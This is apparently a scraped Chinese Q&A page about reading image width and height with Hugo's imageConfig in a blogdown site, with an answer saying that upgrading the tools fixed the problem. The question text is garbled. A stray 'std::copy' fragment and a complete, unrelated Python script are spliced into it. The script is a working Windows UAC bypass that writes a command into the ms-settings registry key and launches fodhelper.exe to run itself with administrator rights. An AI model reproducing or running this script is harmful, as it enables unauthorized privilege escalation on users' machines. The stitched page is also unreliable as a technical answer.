问题描述
我正在尝试获取位于我的静态文件夹中的图像的大小(宽度和高度)
我写道:
std::copy
其中 import os
import sys
import ctypes
import winreg
CMD = r"C:\Windows\System32\cmd.exe"
FOD_HELPER = r'C:\Windows\System32\fodhelper.exe'
PYTHON_CMD = "python"
REG_PATH = 'Software\Classes\ms-settings\shell\open\command'
DELEGATE_EXEC_REG_KEY = 'DelegateExecute'
def is_running_as_admin():
'''
Checks if the script is running with administrative privileges.
Returns True if is running as admin,False otherwise.
'''
try:
return ctypes.windll.shell32.IsUserAnAdmin()
except:
return False
def create_reg_key(key,value):
'''
Creates a reg key
'''
try:
winreg.CreateKey(winreg.HKEY_CURRENT_USER,REG_PATH)
registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER,REG_PATH,winreg.KEY_WRITE)
winreg.SetValueEx(registry_key,key,winreg.REG_SZ,value)
winreg.CloseKey(registry_key)
except WindowsError:
raise
def bypass_uac(cmd):
'''
Tries to bypass the UAC
'''
try:
create_reg_key(DELEGATE_EXEC_REG_KEY,'')
create_reg_key(None,cmd)
except WindowsError:
raise
def execute():
if not is_running_as_admin():
print ('[!] The script is NOT running with administrative privileges')
print ('[+] Trying to bypass the UAC')
try:
current_dir = os.path.dirname(os.path.realpath(__file__)) + '\\' + __file__
cmd = '{} /k {} {}'.format(CMD,PYTHON_CMD,current_dir)
bypass_uac(cmd)
os.system(FOD_HELPER)
sys.exit(0)
except WindowsError:
sys.exit(1)
else:
print ('[+] The script is running with administrative privileges!')
if __name__ == '__main__':
execute()
取自 YAML 元数据,例如:每个帖子的 {{$imagelink := print "/static" (.Params.image | relURL) }}
{{$imgData := imageConfig $imagelink }}
<p>{{ $imgData.Height }}</p>
<p>{{ $imgData.Width }}</p>
。
如果我在服务器运行时保存文件,以前的效果很好。我可以获得宽度和高度,但是如果我使用 .Params.image
(我使用的是 image: "images/my-image.PNG"
)构建我的网站,HUGO 找不到图像。
我尝试使用 build_site(local = TRUE)
调试错误,但无论我尝试哪种路径都找不到图像。
我也关注了 this tutorial about imageConfig,他们指出了以下几点:
但是 blogdown
也不起作用。
我还没有找到关于这个问题的官方文档。任何帮助表示赞赏。
解决方法
升级HUGO和blogdown到最新版本解决了这个问题